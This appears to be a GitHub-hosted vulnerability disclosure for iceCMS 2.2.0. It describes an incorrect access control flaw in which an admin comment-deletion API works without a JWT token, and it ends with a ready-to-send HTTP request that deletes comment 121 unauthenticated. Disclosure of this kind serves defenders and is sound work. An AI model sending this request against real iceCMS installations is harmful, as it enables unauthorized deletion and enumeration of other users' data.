Skip to content

Latest commit

 

History

History
35 lines (23 loc) · 1.09 KB

iceCMS-2.2.0-Incorrect Access Control2.md

File metadata and controls

35 lines (23 loc) · 1.09 KB

iceCMS-2.2.0-Incorrect Access Control2

Introduce

iceCMS-2.2.0 has an error access control vulnerability that allows unauthorized deletion of other user data

Analyze

This vulnerability exists in the content management subfunction of the admin background administration function

1736182319481

After deleting the JWT Token used for authentication, data can still be obtained, and all user data can be obtained by traversing the ID

1736182458085

The original comment with id 121 has been removed

1736182511466

Exploit

GET /api/squareComment/DelectSquareById/121 HTTP/1.1
Host: 192.168.65.227:3000
Authorization:
Cache-Control: no-cache
Referer: http://192.168.65.227:3000/adplanet/PlanetCommentList
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Accept: application/json, text/plain, */*